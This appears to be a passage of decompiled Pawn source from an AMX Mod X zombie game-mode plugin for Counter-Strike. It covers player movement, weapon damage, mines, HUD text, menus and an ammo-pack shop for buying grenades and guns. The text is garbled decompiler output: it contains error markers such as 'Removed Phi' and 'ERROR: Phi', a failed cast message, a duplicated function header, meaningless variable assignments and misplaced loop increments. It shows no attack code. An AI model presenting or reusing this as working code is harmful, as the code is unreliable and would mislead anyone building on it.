- set_velocity(iPlayer, fVelocity);
- g_fLastLeapTime[iPlayer] = fCurrentTime;
- }
- return 0;
- }
- public OnPreFrame(iPlayer)
- {
- !!! Removed Phi
- if (g_bAlive[iPlayer][0][0])
- {
- if (g_bFrozen[iPlayer][0][0])
- {
- set_speed(iPlayer, 1.00/*1065353216*/);
- if (get_ent_flags(iPlayer) & 512)
- {
- set_gravity(iPlayer, 999999.90/*1232348158*/);
- }
- else
- {
- set_gravity(iPlayer, 897988541);
- }
- }
- if (g_bTryder[iPlayer][0][0])
- {
- set_gravity(iPlayer, 0.55/*1057803469*/);
- set_speed(iPlayer, 250.00/*1132068864*/);
- }
- if (g_bZombie[iPlayer][0][0])
- {
- if (!g_iPlayerType[iPlayer][0][0])
- {
- set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer][0][0]][0][0]);
- set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer][0][0]][0][0]);
- }
- else
- {
- if (g_iPlayerType[iPlayer][0][0] & 1)
- {
- set_speed(iPlayer, 250.00/*1132068864*/);
- set_gravity(iPlayer, 0.50/*1056964608*/);
- }
- if (g_iPlayerType[iPlayer][0][0] & 2)
- {
- set_speed(iPlayer, 600.00/*1142292480*/);
- set_gravity(iPlayer, 0.40/*1053609165*/);
- }
- }
- }
- if (!g_iPlayerType[iPlayer][0][0])
- {
- set_speed(iPlayer, 240.00/*1131413504*/);
- set_gravity(iPlayer, 1.00/*1065353216*/);
- }
- if (g_iPlayerType[iPlayer][0][0] & 4)
- {
- set_speed(iPlayer, 250.00/*1132068864*/);
- set_gravity(iPlayer, 0.85/*1062836634*/);
- }
- if (g_iPlayerType[iPlayer][0][0] & 8)
- {
- set_speed(iPlayer, 240.00/*1131413504*/);
- set_gravity(iPlayer, 1.10/*1066192077*/);
- }
- }
- return 0;
- }
- public Rocket_Touch(iOwner, iRocket)
- {
- !!! Removed Phi
- if (g_bConnected[iOwner][0][0])
- {
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i][0][0] && g_bZombie[i][0][0])
- {
- static Float:fDamage;
- static iDistance;
- iDistance = range2(i, iRocket);
- if (iDistance < 320)
- {
- fDamage = float(1250 - iDistance);
- static Float:fVelocity[3];
- get_velocity(i, fVelocity);
- xs_vec_mul_scalar(fVelocity, 2.50, fVelocity);
- set_velocity(i, fVelocity);
- send_screen_shake(i);
- send_screen_fade(i);
- client_cmd(i, "spk fvox/flatline");
- if (float(get_health(i)) - fDamage > 0)
- {
- ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, 64);
- }
- else
- {
- ExecuteHamB(Ham_Killed, i, iOwner, 2);
- }
- if (g_iPlayerType[i][0][0])
- {
- new var2;
- if (g_bDoubleDamage[iOwner][0][0])
- {
- var2 = fDamage * 2.00;
- }
- else
- {
- var2 = fDamage;
- }
- PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var2);
- i += 1;
- }
- new var3;
- if (g_bDoubleDamage[iOwner][0][0])
- {
- var3 = fDamage * 1.50;
- }
- else
- {
- var3 = fDamage * 0.75;
- }
- PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var3);
- i += 1;
- }
- i += 1;
- }
- i += 1;
- }
- }
- return 0;
- }
- public Mine_Think(iEntity, iHealth)
- {
- !!! Removed Phi
- static bool:bStop;
- static iOwner;
- bStop = 0;
- iOwner = iuser2(iEntity);
- switch (pev(iEntity, pev_model))
- {
- case 0:
- {
- set_pev(iEntity, pev_model, "");
- set_take_damage(iEntity, "");
- set_pev(iEntity, pev_classname, "");
- set_health(iEntity, 1800);
- sound(iEntity, "", "ZombieOutstanding/mine_activate.wav");
- }
- case 1:
- {
- if (g_iPlayerMines[iOwner][0][0][0] == iEntity)
- {
- set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
- ShowSyncHudMsg(iOwner, g_iMineMessage, "First mine's health: %d", iHealth + -1000);
- }
- if (g_iPlayerMines[iOwner][0][0][1] == iEntity)
- {
- set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
- ShowSyncHudMsg(iOwner, g_iSecondMineMessage, "Second mine's health: %d", iHealth + -1000);
- }
- if (iHealth <= 1000)
- {
- Func_Explode(iEntity);
- bStop = 1;
- }
- }
- default:
- {
- }
- }
- if (!bStop)
- {
- set_nextthink(iEntity, get_gametime() + 0.10);
- }
- return 0;
- }
- public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
- {
- if (g_bZombie[iOwner][0][0])
- {
- send_beam_follow(iGrenade, 0, "", 0, 200);
- set_pev(iGrenade, pev_targetname, "");
- return 0;
- }
- switch (iGrenadeType)
- {
- case 4:
- {
- new var2 = g_bKilling;
- new var1;
- if (!var2[iOwner][0][0])
- {
- send_beam_follow(iGrenade, 200, g_cZombieInfectSounds, 20, 200);
- set_pev(iGrenade, pev_targetname, "");
- var1 = var2;
- }
- else
- {
- send_beam_follow(iGrenade, 127, 0, 255, 200);
- set_pev(iGrenade, pev_targetname, "");
- new var3 = g_bKilling[iOwner];
- var3 = 0;
- var1 = var3;
- }
- }
- case 9:
- {
- send_beam_follow(iGrenade, 255, 0, 0, 200);
- set_pev(iGrenade, pev_targetname, 4);
- }
- case 25:
- {
- send_beam_follow(iGrenade, 0, 100, 200, 200);
- set_pev(iGrenade, pev_targetname, "");
- }
- default:
- {
- }
- }
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "Grenade_Thrown"
- public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
- public TaskCheckFlash(iPlayer)
- {
- new var3 = g_bConnected;
- new var1;
- new var2;
- if (!var3[iPlayer][0][0])
- {
- var1 = var3;
- }
- else
- {
- new var4 = g_bAlive;
- if (var4[iPlayer][0][0])
- {
- var1 = var4;
- }
- var2 = var4;
- if (ERROR: Phi)
- {
- return 0;
- }
- g_bFlashEnabled[iPlayer] = 1;
- g_bFlash[iPlayer] = 1;
- remove_task(iPlayer + 350, 0);
- set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
- return 0;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- return 0;
- }
- g_bFlashEnabled[iPlayer] = 1;
- g_bFlash[iPlayer] = 1;
- remove_task(iPlayer + 350, 0);
- set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
- return 0;
- }
- public MessageTeamInfo(iMessage, iDestination)
- {
- !!! Removed Phi
- if ((iDestination != 2 && iDestination) || g_bSwitching)
- {
- return 0;
- }
- if (!var9 < g_iMaxClients + 1 & 0 < var9 || !g_bConnected[iPlayer][0][0])
- {
- return 0;
- }
- static i;
- static iNum;
- static iPlayers[32];
- get_players("", iNum, "ch", "");
- i = 0;
- while (i < iNum)
- {
- if (g_bConnected[iPlayers[i][0][0]][0][0] && get_button(iPlayers[i][0][0]) & 32768 && get_oldbuttons(iPlayers[i][0][0]) & 32768)
- {
- Update_Client_Data(iPlayers[i][0][0]);
- i += 1;
- }
- i += 1;
- }
- set_task(0.20, "TaskCheckFlash", iPlayer, "", 0, "", 0);
- if (!g_bModeStarted)
- {
- return 0;
- }
- static cTeam[2];
- get_msg_arg_string(2, "", 2);
- switch (cTeam[0][0])
- {
- case 67:
- {
- if ((g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
- {
- set_team(iPlayer, "");
- set_msg_arg_string(2, "TERRORIST");
- }
- else
- {
- if (!GetZombies())
- {
- set_team(iPlayer, "");
- set_msg_arg_string(2, "TERRORIST");
- }
- }
- }
- case 84:
- {
- if ((g_iRoundType & 64 || g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
- {
- }
- else
- {
- if (GetZombies())
- {
- set_team(iPlayer, "");
- set_msg_arg_string(2, "CT");
- }
- }
- }
- default:
- {
- }
- }
- return 0;
- }
- public MessageHealth(iMessage, iDestination, iEntity)
- {
- !!! Removed Phi
- static iHealth;
- iHealth = get_msg_arg_int(1);
- if (iHealth > 255)
- {
- if (!iHealth)
- {
- set_health(iEntity, get_health(iEntity) + 1);
- }
- set_msg_arg_int(1, get_msg_argtype(1), 255);
- }
- return 0;
- }
- public TaskRemoveMadness(iPlayer)
- {
- !!! Removed Phi
- if (g_bConnected[iPlayer][0][0])
- {
- g_bNoDamage[iPlayer] = 0;
- if (!g_iPlayerType[iPlayer][0][0] & 1)
- {
- remove_glow(iPlayer);
- }
- set_take_damage(iPlayer, "");
- }
- return 0;
- }
- public TaskPrintPassword(iPlayer)
- {
- if (g_bConnected[iPlayer][0][0])
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 296136);
- }
- return 0;
- }
- public TaskWelcome()
- {
- PrintToChat(0, "\1****\4 Zombie Outstanding\1 by\3 Hattrick\1 ||\4 Zm.CsOutStanding.Com\1 ****");
- PrintToChat(0, "\4[Zombie Outstanding]\1 Press\4 M\1 to open the game menu!");
- return 0;
- }
- public TaskAmbience()
- {
- if (g_iRoundType & 4)
- {
- client_cmd(0, "spk ZombieOutstanding/ambience_survivor");
- }
- else
- {
- client_cmd(0, "spk ZombieOutstanding/ambience_normal");
- }
- return 0;
- }
- public TaskZombie()
- {
- new var1 = GetAliveCount();
- g_iAliveCount = var1;
- if (var1)
- {
- g_bRoundStart = 0;
- if (g_iRoundsCount > 3)
- {
- StartSwarmMode(false);
- }
- else
- {
- StartNormalMode(0);
- }
- }
- else
- {
- set_task(6.00, "TaskZombie", 550, "", 0, "", 0);
- }
- return 0;
- }
- public TaskHud(iTask)
- {
- !!! Removed Phi
- static iPlayer;
- iPlayer = iTask + -300;
- if (!g_bAlive[iPlayer][0][0])
- {
- iPlayer = iuser2(iPlayer);
- if (!g_bAlive[iPlayer][0][0])
- {
- return 0;
- }
- }
- if (iTask + -300 != iPlayer)
- {
- set_hudmessage(10, 180, 150, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
- ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s\nClass: %s Health: %d Armor: %d Packs: %d Points: %d\n%s", g_cName[iPlayer][0][0], g_cClass[iPlayer][0][0], get_health(iPlayer), get_armor(iPlayer), g_iPacks[iPlayer], g_iPoints[iPlayer], g_cCountry[iPlayer][0][0]);
- }
- else
- {
- new var1;
- if (g_bZombie[iTask + -300][0][0])
- {
- var1 = 60;
- }
- else
- {
- var1 = 180;
- }
- new var2;
- if (g_bZombie[iTask + -300][0][0])
- {
- var2 = 135;
- }
- else
- {
- var2 = 120;
- }
- new var3;
- if (g_bZombie[iTask + -300][0][0])
- {
- var3 = 180;
- }
- else
- {
- var3 = 0;
- }
- set_hudmessage(var3, var2, var1, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
- ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Class: %s Health: %d Armor: %d Packs: %d Points: %d", g_cClass[iTask + -300][0][0], get_health(iTask + -300), get_armor(iTask + -300), g_iPacks[iTask + -300], g_iPoints[iTask + -300]);
- }
- return 0;
- }
- public TaskFlash(iTask)
- {
- flash(iTask + -350);
- return 0;
- }
- public _GameMenu(iPlayer, iMenu, iItem)
- {
- !!! Removed Phi
- if (iItem != -3 && !g_bFake[iPlayer][0][0] && g_bConnected[iPlayer][0][0])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- new var9 = Heap_4;
- var9[0] = 261596;
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var9, 0, iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- if (g_bAlive[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0])
- {
- static cNumber[3];
- static cLine[128];
- static i;
- g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
- i = 0;
- while (i < 23)
- {
- if (g_iExtraItemsTeams[i][0][0] == 1 && !g_bZombie[iPlayer][0][0])
- {
- }
- else
- {
- if (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[i][0][0] == 2)
- {
- }
- }
- i += 1;
- }
- menu_display(iPlayer, g_iMenuExtraItems, 0);
- }
- else
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Extra items are unavailable right now...");
- }
- }
- case 1:
- {
- menu_display(iPlayer, g_iMenuZombieClasses, 0);
- }
- case 2:
- {
- static cNumber[3];
- static cLine[128];
- static i;
- g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", 0);
- i = 0;
- while (i < 8)
- {
- if (g_iShopItemsTeams[i][0][0] == 2 && g_bZombie[iPlayer][0][0])
- {
- }
- else
- {
- formatex(cLine, 128, "%s %s", g_cShopItems[i][0][0], g_cShopItemsPrices[i][0][0]);
- num_to_str(i, cNumber, 3);
- menu_additem(g_iShopMenu, cLine, cNumber, 0, -1);
- }
- i += 1;
- }
- menu_display(iPlayer, g_iShopMenu, 0);
- }
- case 3:
- {
- if (g_bAlive[iPlayer][0][0] && !is_hull_vacant(iPlayer))
- {
- static i;
- static Float:fOrigin[3];
- static Float:fVector[3];
- static Float:fMins[3];
- get_mins(iPlayer, fMins);
- get_origin(iPlayer, fOrigin);
- i = 0;
- while (i < 70)
- {
- fVector[0] = fOrigin[0][0] - fMins[0][0] * g_fSizes[i][0][0][0];
- fVector[1] = fOrigin[1][0] - fMins[1][0] * g_fSizes[i][0][0][1];
- fVector[2] = fOrigin[2][0] - fMins[2][0] * g_fSizes[i][0][0][2];
- if (is_origin_vacant(fVector, iPlayer))
- {
- set_origin(iPlayer, fVector);
- set_velocity(iPlayer, "");
- i = 70;
- i += 1;
- }
- i += 1;
- }
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You have been unstucked!");
- }
- else
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You are dead or your are not stuck...");
- }
- }
- case 4:
- {
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 107))
- {
- log_to_file("ZombieOutstanding.log", "%s is now spectator", g_cName[iPlayer][0][0]);
- remove_task(iPlayer + 250, 0);
- remove_task(iPlayer + 200, 0);
- g_bSwitching = 1;
- set_out(iPlayer, "");
- g_bSwitching = 0;
- if (g_bAlive[iPlayer][0][0])
- {
- CheckLastPlayer(iPlayer);
- kill(iPlayer);
- }
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You are now spectator!");
- }
- else
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You have no access!");
- }
- }
- case 5:
- {
- if (!g_bEnded && g_bRanked[iPlayer][0][0] && fGameTime - g_fLastRankQuery >= 3.00/*1077936128*/)
- {
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", "", "", 3);
- g_fLastRankQuery = fGameTime;
- }
- }
- case 6:
- {
- show_motd(iPlayer, "http://basky.org.ua/zm-stats/rank/index.php", "Player Rankings");
- }
- default:
- {
- }
- }
- }
- return 0;
- }
- public _ZombieClasses(iPlayer, iMenu, iItem)
- {
- !!! Removed Phi
- if (iItem != -3 && !g_bFake[iPlayer][0][0] && g_bConnected[iPlayer][0][0])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- new var2 = Heap_4;
- var2[0] = 261596;
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var2, 0, iDummy);
- iChoice = str_to_num(cBuffer);
- g_iZombieNextClass[iPlayer] = iChoice;
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You will be\4 %s\1 after the next infection!", g_cZombieClasses[iChoice][0][0]);
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Health:\4 %d\1 | Speed:\4 %0.0f\1 | Gravity:\4 %0.0f\1 | Knockback:\4 %0.0f%s", g_iZombieHealths[iChoice], g_fZombieSpeeds[iChoice], g_fZombieGravities[iChoice][0][0] * 100.00, g_fZombieKnockbacks[iChoice][0][0] * 100.00, "%");
- }
- return 0;
- }
- public _ExtraItems(iPlayer, iMenu, iItem)
- {
- !!! Removed Phi
- if (g_bAlive[iPlayer][0][0] && iItem != -3 && !g_iPlayerType[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- new var66 = Heap_4;
- var66[0] = 261596;
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var66, 0, iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this item right now!");
- return 0;
- }
- MakeHuman(iPlayer, false, false);
- new var90 = g_iPacks[iPlayer];
- var90 = var90[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- }
- case 1:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 4, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- new var89 = g_iPacks[iPlayer];
- var89 = var89[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
- }
- }
- case 2:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 25, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_flashbang");
- new var88 = g_iPacks[iPlayer];
- var88 = var88[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
- }
- }
- case 3:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 9, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_smokegrenade");
- new var87 = g_iPacks[iPlayer];
- var87 = var87[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
- }
- }
- case 4:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this item right now!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 4, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- new var86 = g_iPacks[iPlayer];
- var86 = var86[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
- }
- }
- case 5:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this item right now!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 4, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one! [ Use your\3 Fire Grenade\1 before ]");
- }
- else
- {
- g_bKilling[iPlayer] = 1;
- give_weapon(iPlayer, "weapon_hegrenade");
- new var85 = g_iPacks[iPlayer];
- var85 = var85[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought a\4 Killing Grenade", g_cName[iPlayer][0][0]);
- }
- }
- case 6:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 20, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
- give_weapon(iPlayer, "weapon_m249");
- give_ammo(iPlayer, 20, 9999);
- new var84 = g_iPacks[iPlayer];
- var84 = var84[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
- }
- }
- case 7:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 24, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
- give_weapon(iPlayer, "weapon_g3sg1");
- give_ammo(iPlayer, 24, 9999);
- new var83 = g_iPacks[iPlayer];
- var83 = var83[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
- }
- }
- case 8:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 13, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
- give_weapon(iPlayer, "weapon_sg550");
- give_ammo(iPlayer, "", 9999);
- new var82 = g_iPacks[iPlayer];
- var82 = var82[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
- }
- }
- case 9:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 9, -1))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
- give_weapon(iPlayer, "weapon_awp");
- give_ammo(iPlayer, "", 9999);
- new var81 = g_iPacks[iPlayer];
- var81 = var81[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
- }
- }
- case 10:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (g_bFlash[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- g_bFlashEnabled[iPlayer] = 1;
- g_bFlash[iPlayer] = 1;
- remove_task(iPlayer + 350, 0);
- set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
- new var80 = g_iPacks[iPlayer];
- var80 = var80[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
- }
- }
- case 11:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
